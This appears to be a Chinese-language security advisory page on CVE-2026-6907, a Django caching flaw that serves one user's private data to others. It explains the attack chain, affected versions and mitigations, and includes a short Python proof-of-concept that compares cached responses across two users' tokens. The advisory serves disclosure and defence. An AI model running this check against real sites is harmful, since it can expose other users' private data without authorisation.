IPBUF安全漏洞报告
English
CVE-2026-6907 CVSS 4.3 中危

CVE-2026-6907 Django私有数据缓存漏洞

披露日期: 2026-05-05
来源: 6a34fbeb-21d4-45e7-8e0a-62b95bc12c92

漏洞信息

漏洞编号
CVE-2026-6907
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Django

相关标签

信息泄露Django缓存Web安全CVE-2026-6907

漏洞概述

Django在6.0.5和5.2.14之前的版本中存在一处安全漏洞。由于`UpdateCacheMiddleware`中间件未能正确解析包含星号的`Vary`响应头,导致系统错误地缓存了本应隔离的私有请求数据。这些被错误缓存的数据随后可能被提供给其他用户,从而引发敏感信息泄露风险。早期不受支持的Django版本也可能受此问题影响。

技术细节

该漏洞的核心在于Django的缓存中间件对HTTP头部处理逻辑存在缺陷。根据HTTP缓存规范,`Vary: *`头部通常意味着响应内容高度依赖于请求的上下文,且不应被公共缓存存储,或者应当被视为不可缓存。然而,在受影响的Django版本中,`UpdateCacheMiddleware`在检测到`Vary`头部包含星号(`*`)时,并未正确终止缓存流程。相反,中间件继续将响应内容存储在缓存后端(如Redis、Memcached或数据库缓存)中。由于缓存键的生成机制可能未完全区分不同用户的上下文,或者因为缓存被共享,当后续请求匹配到该缓存条目时,服务器会直接返回之前存储的、属于特定用户的私有数据。这破坏了应用的数据隔离原则,攻击者无需特殊权限,只需触发特定的请求流程,即可通过缓存响应获取其他用户的敏感信息。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用Django框架,并启用了缓存中间件(如UpdateCacheMiddleware)。
STEP 2
触发缓存
攻击者向目标端点发送包含特定上下文(如认证Token、Cookie)的请求,该端点返回包含`Vary: *`头部的敏感数据响应。
STEP 3
错误存储
由于漏洞存在,Django未正确处理`Vary: *`,将本应隔离的敏感响应内容存储在共享缓存中。
STEP 4
数据泄露
攻击者(或普通用户)向同一端点发送请求(使用不同的认证信息或无认证),服务器从缓存中读取并返回了之前存储的私有数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Conceptual Proof of Concept for CVE-2026-6907 # This script demonstrates checking for private data leakage via caching. target_url = "http://vulnerable-django-app/api/user/profile" # Step 1: Simulate a request from User A that triggers caching with Vary: * # The server responds with User A's private data and sets Vary: * print("[*] Step 1: Sending request as User A (authenticated)...") headers_user_a = { "Authorization": "Bearer token_user_a_secret", "User-Agent": "PoC-Scanner" } response_a = requests.get(target_url, headers=headers_user_a) print(f" Status: {response_a.status_code}") print(f" Vary Header: {response_a.headers.get('Vary')}") print(f" Content Snippet: {response_a.text[:100]}") # Step 2: Simulate a request from User B (or anonymous) to the same URL # If the vulnerability exists, the cache serves User A's data to User B print("\n[*] Step 2: Sending request as User B (different context)...") headers_user_b = { "Authorization": "Bearer token_user_b_public", # Different token "User-Agent": "PoC-Scanner" } response_b = requests.get(target_url, headers=headers_user_b) print(f" Status: {response_b.status_code}") print(f" Content Snippet: {response_b.text[:100]}") # Step 3: Verify data leakage if "token_user_a_secret" in response_b.text or "private_data_of_a" in response_b.text: print("\n[!] Vulnerability Confirmed: Private data from User A leaked to User B via cache.") else: print("\n[+] Vulnerability not reproduced or target is patched.")

影响范围

Django 6.0 < 6.0.5
Django 5.2 < 5.2.14
Django 5.0.x (可能受影响)
Django 4.1.x (可能受影响)
Django 3.2.x (可能受影响)

防御指南

临时缓解措施
建议管理员立即检查Django版本并应用官方提供的安全补丁。对于无法立即升级的环境,应临时禁用`UpdateCacheMiddleware`或配置缓存后端以拒绝存储带有`Vary: *`的响应,同时监控异常的缓存命中行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表